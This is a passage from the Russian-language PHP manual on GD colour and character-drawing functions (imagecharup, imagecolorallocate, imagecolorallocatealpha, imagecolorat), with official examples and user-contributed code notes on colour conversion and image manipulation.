Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

font

Может принимать значения 1, 2, 3, 4, 5 для встроенных шрифтов в кодировке latin2 (более высокое число соответствует большему шрифту) или экземпляр GdFont, возвращаемый функцией imageloadfont()..

x

x-координата начала рисования.

y

y-координата начала рисования.

char

Символ для рисования.

color

Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр font теперь принимает как экземпляр GdFont, так и целое число (int); ранее принималось только целое число (int).
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagecharup()

<?php

$im = imagecreate(100, 100);

$string = 'Надо учитывать, что первый символ в строке — N';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// печатает чёрный символ "Z" на белом фоне
imagecharup($im, 3, 10, 10, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagecharup()

Смотрите также

  • imagechar() - Рисование символа по горизонтали
  • imageloadfont() - Загрузка шрифта

User Contributed Notes

php at corzoogle dot com 16-Jun-2005 04:28
<?php
// incredibly, no one has added this.
// write a string of text vertically on an image..
// ;o)

$string = '(c) corz.org';
$font_size = 2;
$img = imagecreate(20,90);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);

$len = strlen($string);
for ($i=1; $i<=$len; $i++) {
    imagecharup($img, $font_size, 5, imagesy($img)-($i*imagefontwidth($font_size)), $string, $black);
    $string = substr($string,1);
}
header('Content-type: image/png');
imagepng($img);
imagedestroy($img); // dudes! don't forget this!
?>


Создание цвета для изображения

  • « imagecharup
  • imagecolorallocatealpha »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создание цвета для изображения

imagecolorallocate

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorallocate — Создание цвета для изображения

Описание

imagecolorallocate(
GdImage $image,
int $red,
int $green,
int $blue
): int|false

Возвращает идентификатор цвета в соответствии с заданными RGB компонентами.

imagecolorallocate() должна вызываться для создания каждого цвета, который будет использоваться в изображении image.

Замечание:

Первый вызов imagecolorallocate() задаёт цвет фона в палитровых изображениях - изображениях, созданных функцией imagecreate().

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

red

Значение красного компонента цвета.

green

Значение зелёного компонента цвета.

blue

Значение синего компонента цвета.

Эти аргументы могут принимать либо целочисленные значение в диапазоне от 0 до 255, либо шестнадцатеричные в диапазоне от 0x00 до 0xFF.

Возвращаемые значения

Идентификатор цвета, либо false в случае возникновения ошибки.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagecolorallocate()

<?php

$im = imagecreate(100, 100);

// делаем фон красным
$background = imagecolorallocate($im, 255, 0, 0);

// создадим несколько цветов
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// шестнадцатеричный способ
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

?>

Смотрите также

  • imagecolorallocatealpha() - Создание цвета для изображения
  • imagecolordeallocate() - Разрыв ассоциации переменной с цветом для заданного изображения

User Contributed Notes

divinity76 at gmail dot com 14-Mar-2016 09:30
you have VERY limited space for color indexes (255 indexes on my system, with over 10 GB ram available, cli, no memory limit), when there is no more indexes available, imagecolorallocate will return false. when you create 2x indexes with the same r/g/b, you waste this very limited space. the function below should never fail, AND never waste any color index space. if there's already an index with the rgb, it will return the existing index, else it will try allocate 1, in the event that allocation fail (presumably because all index space is used up already), it will return the closest match to what you requested, and warn you via $couldFindExact.

function myimagecolorallocate($gd,int $red,int $green,int $blue,bool &$couldFindExact=null):int{
    $ret=imagecolorexact($gd, $red, $green, $blue);
    if($ret===-1){
        $ret=imagecolorallocate($gd, $red, $green, $blue);
        if($ret===false){
            $couldFindExact=false;//out of color indexes (255 index by default..wish i knew why)
            $ret=imagecolorclosest($gd, $red, $green, $blue);
        } else {
            $couldFindExact=true;
        }
    } else {
        $couldFindExact=true;
    }
    return $ret;
}
phillip dot gooch at gmail dot com 08-Dec-2010 07:52
If you even in a situation where it's not allocating the color you want it could be because of your images color allocation table. GIF and 8-bit PNG images are very susceptible to this.

If your using an GIF and PNG try dropping a color from the table, should let you allocate another.
jahservant 13 at gmail dot com 24-Nov-2009 04:55
Note that you can only assign 255 colors to any image palette.  If you try assigning more, imagecolorallocate() will fail.

If, for example, you are randomly allocating colors, it will be wise to check if you have used up all of the colors possible.  You can use imagecolorclosest() to get the closest assigned color:
<?php
     //assign random rgb values
     $c1 = mt_rand(50,200); //r(ed)
     $c2 = mt_rand(50,200); //g(reen)
     $c3 = mt_rand(50,200); //b(lue)
     //test if we have used up palette
     if(imagecolorstotal($pic)>=255) {
          //palette used up; pick closest assigned color
          $color = imagecolorclosest($pic, $c1, $c2, $c3);
     } else {
          //palette NOT used up; assign new color
          $color = imagecolorallocate($pic, $c1, $c2, $c3);
     }
?>

Also, imagecolorallocate() will assign a new color EVERY time the function is called, even if the color already exists in the palette:
<?php
     // [...]
     imagecolorallocate($pic,125,125,125); //returns 5
     imagecolorallocate($pic,125,125,125); //returns 6
     imagecolorallocate($pic,125,125,125); //returns 7
     // [...]
     imagecolorallocate($pic,125,125,125); //returns 23
     imagecolorallocate($pic,125,125,125); //returns 25
     // [...]
     // etc...
?>

So here, imagecolorexact() is useful:
<?php
     //see if color already exists
     $color = imagecolorexact($pic, $c1, $c2, $c3);
     if($color==-1) {
          //color does not exist; allocate a new one
          $color = imagecolorallocate($pic, $c1, $c2, $c3);
     }
?>

And, for nerdy-ness sake, we can put the two ideas together:
<?php
     //assign random rgb values
     $c1 = mt_rand(50,200); //r(ed)
     $c2 = mt_rand(50,200); //g(reen)
     $c3 = mt_rand(50,200); //b(lue)
     //get color from palette
     $color = imagecolorexact($pic, $c1, $c2, $c3);
     if($color==-1) {
          //color does not exist...
          //test if we have used up palette
          if(imagecolorstotal($pic)>=255) {
               //palette used up; pick closest assigned color
               $color = imagecolorclosest($pic, $c1, $c2, $c3);
          } else {
               //palette NOT used up; assign new color
               $color = imagecolorallocate($pic, $c1, $c2, $c3);
          }
     }
?>

Or as a function:
<?php
     function createcolor($pic,$c1,$c2,$c3) {
          //get color from palette
          $color = imagecolorexact($pic, $c1, $c2, $c3);
          if($color==-1) {
               //color does not exist...
               //test if we have used up palette
               if(imagecolorstotal($pic)>=255) {
                    //palette used up; pick closest assigned color
                    $color = imagecolorclosest($pic, $c1, $c2, $c3);
               } else {
                    //palette NOT used up; assign new color
                    $color = imagecolorallocate($pic, $c1, $c2, $c3);
               }
          }
          return $color;
     }

     for($i=0; $i<1000; $i++) { //1000 because it is significantly greater than 255
          //assign random rgb values
          $c1 = mt_rand(50,200); //r(ed)
          $c2 = mt_rand(50,200); //g(reen)
          $c3 = mt_rand(50,200); //b(lue)
          //generate the color
          $color = createcolor($pic,$c1,$c2,$c3);
          //do something with color...
     }
?>
Ludo 24-Oct-2007 02:35
When working on an existant GIF images, if the number of different colours has reached the limits of the GIF format, imagecolorallocate will not use to the colour you ask her within the parameters, she will apply black !

That's a problem when generating images "on-the-fly" with many manipulations, from a GIF image.
To go round the problem, you have to convert the GIF image into a PNG one, and then you can work on the PNG and everything will be ok.

For example :
<?php
// first, convert into a PNG image
$handle = imagecreatefromgif('my_image.gif');
imagepng($handle, 'my_image.png');
imagedestroy($handle);

// then, you can work on it
$handle = imagecreatefrompng('my_image.png');
/*
* work on the image
*/
imagegif($handle);
?>
William Barath 28-Sep-2007 04:15
Lots of hsv2rgb commentary but no working example, so here's mine:

<?php // hsv2rgb example translated from ImageMagick C code
function hsv2rgb($h, $s, $v)
{
    $s /= 256.0;
    if ($s == 0.0) return array($v,$v,$v);
    $h /= (256.0 / 6.0);
    $i = floor($h);
    $f = $h - $i;
    $p = (integer)($v * (1.0 - $s));
    $q = (integer)($v * (1.0 - $s * $f));
    $t = (integer)($v * (1.0 - $s * (1.0 - $f)));
    switch($i) {
    case 0: return array($v,$t,$p);
    case 1: return array($q,$v,$p);
    case 2: return array($p,$v,$t);
    case 3: return array($p,$q,$v);
    case 4: return array($t,$p,$v);
    default: return array($v,$p,$q);
    }
}

$image = ImageCreateTrueColor(256,128);
for ($y=0; $y<64; $y++) for($x=0; $x<256; $x++){
    list($r,$g,$b) = hsv2rgb($x | 7,255,($y*4) |7);
    $color = ($r << 16 ) | ($g << 8) | $b;
    imagesetpixel($image, $x, $y-4, $color);
}
for ($y=64; $y<128; $y++) for($x=0; $x<256; $x++){
    list($r,$g,$b) = hsv2rgb($x|7,((127-$y)*4)|7,255);
    $color = ($r << 16) | ($g << 8) | $b;
    imagesetpixel($image, $x, $y-4, $color);
}
for ($y=120; $y<128; $y++) for($x=0; $x<256; $x++){
    $color = (($x |7) << 16) | (($x |7) << 8) | ($x |7);
    imagesetpixel($image, $x, $y, $color);
}
header("Content-Type: image/png");
imagepng($image);
?>
picklecj at rose-hulman dot edu 13-Jun-2007 08:15
Another solution to color limitation issues when creating gradients. This file takes width (px) and left and right colors (hex) and makes a gradient while only allocating 250 colors.

<?php
$leftR = hexdec(substr($_GET["left"],0,2));
$leftG = hexdec(substr($_GET["left"],2,2));
$leftB = hexdec(substr($_GET["left"],4,2));
$rightR = hexdec(substr($_GET["right"],0,2));
$rightG = hexdec(substr($_GET["right"],2,2));
$rightB = hexdec(substr($_GET["right"],4,2));
$image=imagecreate($_GET["width"],1);
for($i=0;$i<250;$i++) {
    $colorset[$i] = imagecolorallocate($image, $leftR + ($i*(($rightR-$leftR)/250)), $leftG + ($i*(($rightG-$leftG)/250)), $leftB + ($i*(($rightB-$leftB)/250)));
}
for($i=0;$i<($_GET["width"]);$i++) {
  imagesetpixel ($image, $i, 0, $colorset[(int)($i/($_GET["width"]/250))] );
}
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
?>

example: gradient.php?width=640&left=000000&right=FF0000

Makes a 640px-wide image that fades from black to red.
behun at webconsult dot sk 27-Aug-2006 01:56
Also, when you need more then 256 colors, use imagecreatetruecolor function. With this function you can use unlimited number of colors.
SW 13-Jan-2006 02:00
This works! A Black-Image with vertical centered white Aliased Arial-Text and same left and right margin - used for Menu-Buttons.

<?php

  function createImgText ($string="", $fontsize=0, $marginX=0, $imgH=0 , $fontfile="", $imgColorHex="", $txtColorHex=""){
    if($string!=""){
        Header("Content-type: image/png");
        //
        $spacing = 0;
          $line = array("linespacing" => $spacing);
        $box = @imageftbbox($fontsize,0,$fontfile,$string,$line)
        or die("ERROR");
        $tw=$box[4]-$box[0]; //image width
        $marginY = $imgH - (($imgH - $fontsize) / 2);
        $imgWidth = $tw + (2*$marginX);
        $im = ImageCreate($imgWidth, $imgH);
        $int = hexdec($imgColorHex);
        $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
        $black = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
        $int = hexdec($txtColorHex);
        $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
        $white = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
        ImageFtText($im, $fontsize, 0, $marginX, $marginY, $white, $fontfile, $string, array());
        ImagePng($im);
        ImageDestroy($im);
    }else{
        echo "ERROR!";
    }
}
createImgText ("Hello World", 9, 10, 18, "arial.ttf", "000000", "FFFFFF");
?>
mlse 15-Nov-2005 01:49
Another more general variation on the theme using the same naming conventions as the hexdec and dechex built-in functions ...

Prototype:

array hexrgb ( string hex_string )

Returns:

An associative array of the RGB components specified in hex_string.

hexrgb() example:

<?php
$rgb = hexrgb("0xAABBCC");
print_r($rgb);
?>

Output is:

Array
(
  [red] => 170
  [green] => 187
  [blue] => 204
)

Implementation:

<?php
function hexrgb ($hexstr)
{
  $int = hexdec($hexstr);

  return array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
}
?>

The output of hexdec can then be passed to imagecolorallocate and manipulated as required.
Zigbigidorlu at hotmail dot com 06-Oct-2005 12:05
Here's a very simple and very effective code to change a HEX color to RGB.

<?php
function HEX2RGB($color){
 $color_array = array();
 $hex_color = strtoupper($color);
 for($i = 0; $i < 6; $i++){
  $hex = substr($hex_color,$i,1);
  switch($hex){
   case "A": $num = 10; break;
   case "B": $num = 11; break;
   case "C": $num = 12; break;
   case "D": $num = 13; break;
   case "E": $num = 14; break;
   case "F": $num = 15; break;
   default: $num = $hex; break;
  }
  array_push($color_array,$num);
 }
 $R = (($color_array[0] * 16) + $color_array[1]);
 $G = (($color_array[2] * 16) + $color_array[3]);
 $B = (($color_array[4] * 16) + $color_array[5]);
 return array($R,$G,$B);
 unset($color_array,$hex,$R,$G,$B);
}
?>
mail at kailashnadh dot name 28-Jun-2005 07:47
This nifty function will produce the negative of a given image!

<?php

/********************************

     Code by Kailash Nadh
     http://kailashnadh.name

     usage:
     img2neg("my_pic.jpg");

*********************************/

function img2neg($pic) {

    header("Content-type: image/jpeg");

    $source=imagecreatefromjpeg($pic);    // Source
    $width=imagesx($source);    $height=imagesy($source);

    $im = imagecreatetruecolor($width, $height);    // Our negative img in the making

    for($y=0; $y < $height; $y++) {
        for($x=0; $x < $width; $x++) {

        $colors=imagecolorsforindex($source, imagecolorat($source, $x,$y));

            // this is what makes the colors negative
            $r=255-$colors['red'];
            $g=255-$colors['green'];
            $b=255-$colors['blue'];
            $test=imagecolorallocate($im, $r,$g,$b);
            imagesetpixel($im,$x, $y, $test);
        }
    }

    imagejpeg($im);
    imagedestroy($im);
}

?>
andreoli dot carlo at libero dot it 08-Jun-2005 06:38
hsl to RGB
(not yet optimized but it function)

<?php
function hslToRgb ($h, $s, $l) {
    if ($h>240 || $h<0) return array(0,0,0);
    if ($s>240 || $s<0) return array(0,0,0);
    if ($l>240 || $l<0) return array(0,0,0);
    if ($h<=40) {
        $R=255;
        $G=(int)($h/40*256);
        $B=0;
    }
    elseif ($h>40 && $h<=80) {
        $R=(1-($h-40)/40)*256;
        $G=255;
        $B=0;
    }
    elseif ($h>80 && $h<=120) {
        $R=0;
        $G=255;
        $B=($h-80)/40*256;
    }
    elseif ($h>120 && $h<=160) {
        $R=0;
        $G=(1-($h-120)/40)*256;
        $B=255;
    }
    elseif ($h>160 && $h<=200) {
        $R=($h-160)/40*256;
        $G=0;
        $B=255;
    }
    elseif ($h>200) {
        $R=255;
        $G=0;
        $B=(1-($h-200)/40)*256;
    }
    $R=$R+(240-$s)/240*(128-$R);
    $G=$G+(240-$s)/240*(128-$G);
    $B=$B+(240-$s)/240*(128-$B);
    if ($l<120) {
        $R=($R/120)*$l;
        $G=($G/120)*$l;
        $B=($B/120)*$l;
    }
    else {
        $R=$l*((256-$R)/120)+2*$R-256;
        $G=$l*((256-$G)/120)+2*$G-256;
        $B=$l*((256-$B)/120)+2*$B-256;
    }
    if ($R<0) $R=0;
    if ($R>255) $R=255;
    if ($G<0) $G=0;
    if ($G>255) $G=255;
    if ($B<0) $B=0;
    if ($B>255) $B=255;

    return array((int)$R,(int)$G,(int)$B);
}
?>
mv at brazil dot com 15-Mar-2005 11:34
<?php

/**
 * Create a image bar using lib GD
 * Ege. <img src="color_sample.php?color=FF0000" width="10 height="30">
 */

// Split the HTML color representation
$hexcolor = str_split($_GET["color"], 2);

// Convert HEX values to DECIMAL
$bincolor[0] = hexdec("0x{$hexcolor[0]}");
$bincolor[1] = hexdec("0x{$hexcolor[1]}");
$bincolor[2] = hexdec("0x{$hexcolor[2]}");

$im = ImageCreate(100, 100);
$colorallocate = ImageColorAllocate($im, $bincolor[0], $bincolor[1], $bincolor[2]);
ImageFilledRectangle($im, 0, 0, 100, 100, $colorallocate);
header('Content-Type: image/png');
ImagePNG($im);

?>
18-Jan-2005 02:23
When you are using truecolor images, you can also use bitwise operations to generate the color:
<?php
$color = ($r << 16) | ($g << 8) | $b; // 2261213
?>
This is identical to the imagecolorallocate() function, in truecolor images!
aaron at parecki dot com 22-Dec-2004 02:10
This will let you tint an image to any specific color. The blacks of the source image become your specified color, and the whites remain white. Works best for colorizing greyscale images.

<?php

$r = 224;
$g = 192;
$b = 0;
$source_file = "picture.jpg";

$im_src = ImageCreateFromJpeg($source_file);
$im_tint = ImageCreate(imagesx($im_src),imagesy($im_src));
for ($c = 0; $c < 255; $c++) {
     ImageColorAllocate($im_tint, max($r,$c), max($g,$c), max($b,$c));
}
ImageCopyMerge($im_tint,$im_src,0,0,0,0, imagesx($im_src), imagesy($im_src), 100);
ImageDestroy($im_src);

header("Content-type: image/jpeg");
imagejpeg($im_tint);

?>
tyberis 28-Nov-2004 04:58
2 functions to convert from HSV colorspace (hue/saturation/brightness) to RGB (red/green/blue) colorspace and back.
<?php
// $c = array($red, $green, $blue)
// $red=[0..1], $green=[0..1], $blue=[0..1];
function rgb2hsv($c) {
 list($r,$g,$b)=$c;
 $v=max($r,$g,$b);
 $t=min($r,$g,$b);
 $s=($v==0)?0:($v-$t)/$v;
 if ($s==0)
  $h=-1;
 else {
  $a=$v-$t;
  $cr=($v-$r)/$a;
  $cg=($v-$g)/$a;
  $cb=($v-$b)/$a;
  $h=($r==$v)?$cb-$cg:(($g==$v)?2+$cr-$cb:(($b==$v)?$h=4+$cg-$cr:0));
  $h=60*$h;
  $h=($h<0)?$h+360:$h;
 }
 return array($h,$s,$v);
}

// $c = array($hue, $saturation, $brightness)
// $hue=[0..360], $saturation=[0..1], $brightness=[0..1]
function hsv2rgb($c) {
 list($h,$s,$v)=$c;
 if ($s==0)
  return array($v,$v,$v);
 else {
  $h=($h%=360)/60;
  $i=floor($h);
  $f=$h-$i;
  $q[0]=$q[1]=$v*(1-$s);
  $q[2]=$v*(1-$s*(1-$f));
  $q[3]=$q[4]=$v;
  $q[5]=$v*(1-$s*$f);
  //return(array($q[($i+4)%5],$q[($i+2)%5],$q[$i%5]));
  return(array($q[($i+4)%6],$q[($i+2)%6],$q[$i%6])); //[1]
 }
}
?>

[1] - EDITOR NOTE: THIS IS A FIX FROM "hc at hob(removethis)soft dot net".
smoli at paranoya dot ch 19-Jul-2004 11:10
Some of you maybe want to use HSV color model for drawing color selectors and circles:

<?php
  function &colormap_hsv_to_rgb($h, $s, $v)
  {
    $ret = new stdClass();

    if($s == 0)
    {
      $ret->r = $v;
      $ret->g = $v;
      $ret->b = $v;

      return $ret;
    }
    else
    {
      $h = floatval($h) / 255.0;
      $s = floatval($s) / 255.0;
      $v = floatval($v) / 255.0;

      $hue = $h;

      if($hue == 1.0)
        $hue = 0.0;

      $hue *= 6.0;

      $i = intval($hue);
      $f = $hue - floatval($i);
      $w = $v * (1.0 - $s);
      $q = $v * (1.0 - ($s * $f));
      $t = $v * (1.0 - ($s * (1.0 - $f)));

      switch($i)
      {
         case 0: $ret->r = $v; $ret->g = $t; $ret->b = $w; break;
         case 1: $ret->r = $q; $ret->g = $v; $ret->b = $w; break;
         case 2: $ret->r = $w; $ret->g = $v; $ret->b = $t; break;
         case 3: $ret->r = $w; $ret->g = $q; $ret->b = $v; break;
         case 4: $ret->r = $t; $ret->g = $w; $ret->b = $v; break;
         case 5: $ret->r = $v; $ret->g = $w; $ret->b = $q; break;
      }
    }

    $ret->r = intval($ret->r * 255.0);
    $ret->g = intval($ret->g * 255.0);
    $ret->b = intval($ret->b * 255.0);

    return $ret;
  }
?>
jernberg at fairytale dot se 05-Mar-2004 10:43
this might help someone, how to allocate an color from an html color-definition:

<?php
$fg = "#ff0080";

$red = 100;
$green = 100;
$blue = 100;
if( eregi( "[#]?([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})", $fg, $ret ) )
{
    $red = hexdec( $ret[1] );
    $green = hexdec( $ret[2] );
    $blue = hexdec( $ret[3] );
}

$text_color = ImageColorAllocate( $img1, $red, $green, $blue );
?>
chris at drunkenpirates dot co dot uk 13-Sep-2003 05:44
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig
*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
                ImageColorAllocate($imA, $c, $c, $c);
                }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
                $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
                $col_arr[$c]=$s;
                }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgA[$x][$y]=$col_arr[$x];
                }
        }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgB[$x][$y]=$col_arr[$y];
                }
        }

//SET PIXELS

for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
                $s=$imgC[$x][$y]/2;
                Imagesetpixel($imA,$x,$y,$s);
                }
        }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
leif at harmsen dot net 15-Apr-2003 07:31
I was unable to get any of the posted methods for converting colour to grayscale to work.  The problem appears to be the way gd creates images from jpeg inconsistently over various versions.  Eventually I wrote my own that works for me - this approach allocates the 256 color pallete first.  You can also play with separate $r, $g, $b variables before using imagecolorallocate in order to tone or tint the image.

<?php
$resource = 'whatever.jpg';
$im_size = GetImageSize($resource);
$imageWidth = $im_size[0];
$imageHeight = $im_size[1];
$im = imageCreate($imageWidth,$imageHeight);
for ($c = 0; $c < 256; $c++) {
     ImageColorAllocate($im, $c,$c,$c);
}
$im2 = ImageCreateFromJpeg($resource);
ImageCopyMerge($im,$im2,0,0,0,0, $imageWidth, $imageHeight, 100);
ImageDestroy($im2);
?>

go on using $im as your image, it is now grayscale ....
bisqwit at iki dot fi 16-Feb-2002 08:30
Actually, you can't allocate more than 256 colours for an paletted image (ImageCreate).
Use ImageCreateTrueColor instead. For it to work, you need libgd version 2 support in php though.


Создание цвета для изображения

  • « imagecolorallocate
  • imagecolorat »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создание цвета для изображения

imagecolorallocatealpha

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imagecolorallocatealpha — Создание цвета для изображения

Описание

imagecolorallocatealpha(
GdImage $image,
int $red,
int $green,
int $blue,
int $alpha
): int|false

imagecolorallocatealpha() работает аналогично функции imagecolorallocate(), но ещё добавляет к цвету параметр alpha, отвечающий за прозрачность.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

red

Значение красного компонента цвета.

green

Значение зелёного компонента цвета.

blue

Значение синего компонента цвета.

alpha

Значение в диапазоне от 0 до 127. 0 означает непрозрачный цвет, 127 означает полную прозрачность.

Параметры red, green и blue могут быть либо целочисленными в диапазоне от 0 до 255 либо шестнадцатеричными в диапазоне от 0x00 до 0xFF.

Возвращаемые значения

Идентификатор цвета или false в случае возникновении ошибки при создании цвета.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagecolorallocatealpha()

<?php
$size = 300;
$image=imagecreatetruecolor($size, $size);

// создадим белый фон с чёрной рамкой
$back = imagecolorallocate($image, 255, 255, 255);
$border = imagecolorallocate($image, 0, 0, 0);
imagefilledrectangle($image, 0, 0, $size - 1, $size - 1, $back);
imagerectangle($image, 0, 0, $size - 1, $size - 1, $border);

$yellow_x = 100;
$yellow_y = 75;
$red_x = 120;
$red_y = 165;
$blue_x = 187;
$blue_y = 125;
$radius = 150;

// создание цветов с альфа компонентом
$yellow = imagecolorallocatealpha($image, 255, 255, 0, 75);
$red = imagecolorallocatealpha($image, 255, 0, 0, 75);
$blue = imagecolorallocatealpha($image, 0, 0, 255, 75);

// рисование 3-х пересекающихся окружностей
imagefilledellipse($image, $yellow_x, $yellow_y, $radius, $radius, $yellow);
imagefilledellipse($image, $red_x, $red_y, $radius, $radius, $red);
imagefilledellipse($image, $blue_x, $blue_y, $radius, $radius, $blue);

// не забудьте вывести правильный заголовок!
header('Content-Type: image/png');

// и наконец, вывод
imagepng($image);
imagedestroy($image);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Пример использования imagecolorallocatealpha()

Пример #2 Преобразование типичных альфа-значений для использования с imagecolorallocatealpha()

Обычно альфа-значения 0 обозначают полностью прозрачные пиксели, а альфа-канал имеет 8 битов. Чтобы преобразовать такие альфа-значения для совместимости с imagecolorallocatealpha(), достаточно немного простой арифметики:

<?php
$alpha8 = 0; // полностью прозрачный
var_dump(127 - ($alpha8 >> 1));
$alpha8 = 255; // полностью непрозрачный
var_dump(127 - ($alpha8 >> 1));
?>

Результат выполнения данного примера:

int(127)
int(0)

Смотрите также

  • imagecolorallocate() - Создание цвета для изображения
  • imagecolordeallocate() - Разрыв ассоциации переменной с цветом для заданного изображения

User Contributed Notes

Brett G 22-Sep-2015 10:30
When working with transparency, avoid imagecreate() and use imagecreatetruecolor() instead. Transparency effects may not work as expected within a palette-based image.
fjoggen at gmail dot com 29-Nov-2007 07:19
If you need to calculate the integer representation of a color with an alpha channel, without initialising an image and using the imagecolorallocatealpha function. Then this function might be of some help:

<?php
function alphaColor($hexColor,$alpha)
{
        return bindec(decbin($alpha).decbin(hexdec($hexColor));
}

echo alphaColor("FFFFFF",127);
?>
eric (at) junioronline.us 25-Jan-2006 01:41
If you only wish to extract the alpha value for a color, you can simply extract it like so:

<?php

    $color = imagecolorat($im, 50, 50);
    $alpha = $color >> 24;

?>

It actually shifts off the first 24 bits (where 8x3 are used for each color), and returns the remaining 7 allocated bits (commonly used for alpha)


Получение индекса цвета пиксела

  • « imagecolorallocatealpha
  • imagecolorclosest »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение индекса цвета пиксела

imagecolorat

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorat — Получение индекса цвета пиксела

Описание

imagecolorat(GdImage $image, int $x, int $y): int|false

Возвращает индекс цвета пиксела на заданных координатах на изображении image.

Если передаётся truecolor-изображение, функция возвращает целочисленное RGB значение для пиксела. Для выделения отдельных компонентов красного, зелёного или синего каналов используйте битовый сдвиг и маскирование:

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

x

x-координата пиксела.

y

y-координата пиксела.

Возвращаемые значения

Возвращает индекс цвета или false в случае возникновения ошибки.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Доступ к компонентам RGB цвета

<?php
$im = imagecreatefrompng("php.png");
$rgb = imagecolorat($im, 10, 15);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;

var_dump($r, $g, $b);
?>

Результатом выполнения данного примера будет что-то подобное:

int(119)
int(123)
int(180)

Пример #2 Удобочитаемые RGB значения с использованием imagecolorsforindex()

<?php
$im = imagecreatefrompng("php.png");
$rgb = imagecolorat($im, 10, 15);

$colors = imagecolorsforindex($im, $rgb);

var_dump($colors);
?>

Результатом выполнения данного примера будет что-то подобное:

array(4) {
  ["red"]=>
  int(119)
  ["green"]=>
  int(123)
  ["blue"]=>
  int(180)
  ["alpha"]=>
  int(127)
}

Смотрите также

  • imagecolorset() - Установка набора цветов для заданного индекса палитры
  • imagecolorsforindex() - Получение цветов, соответствующих индексу
  • imagesetpixel() - Рисование точки

User Contributed Notes

Ray.Paseur sometimes uses Gmail 04-Feb-2017 02:35
imageColorAt() issues a Notice and returns FALSE for pixel coordinates that are out of bounds.
Levi Cole 31-Jul-2015 06:54
So I have written the most pointless use I could think of for this function (imagecolorat).

Basically it converts every pixel in the given image for an <i> tag. You can set the rendered pixel size with $p

<?php
    $p = 4; // Set pixel width/height
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Image to DOM</title>
    <style>
        .canvas {position: relative;}
        .pixel {width: <?= 1*$p; ?>px; height: <?= 1*$p; ?>px; position: absolute; display: block;}
    </style>
</head>
<body>

    <form action="/" method="post" enctype="multipart/form-data">
        <input type="file" name="image">
        <input type="submit">
    </form>

    <?php
        if ($_FILES) {
            $post_img = $_FILES['image'];
            $filename = $post_img['name'];
            $tmp_img = $post_img['tmp_name'];

            if(preg_match('/[.](jpg)$/', $filename)) {
                $img = imagecreatefromjpeg($tmp_img);
            } else if (preg_match('/[.](gif)$/', $filename)) {
                $img = imagecreatefromgif($tmp_img);
            } else if (preg_match('/[.](png)$/', $filename)) {
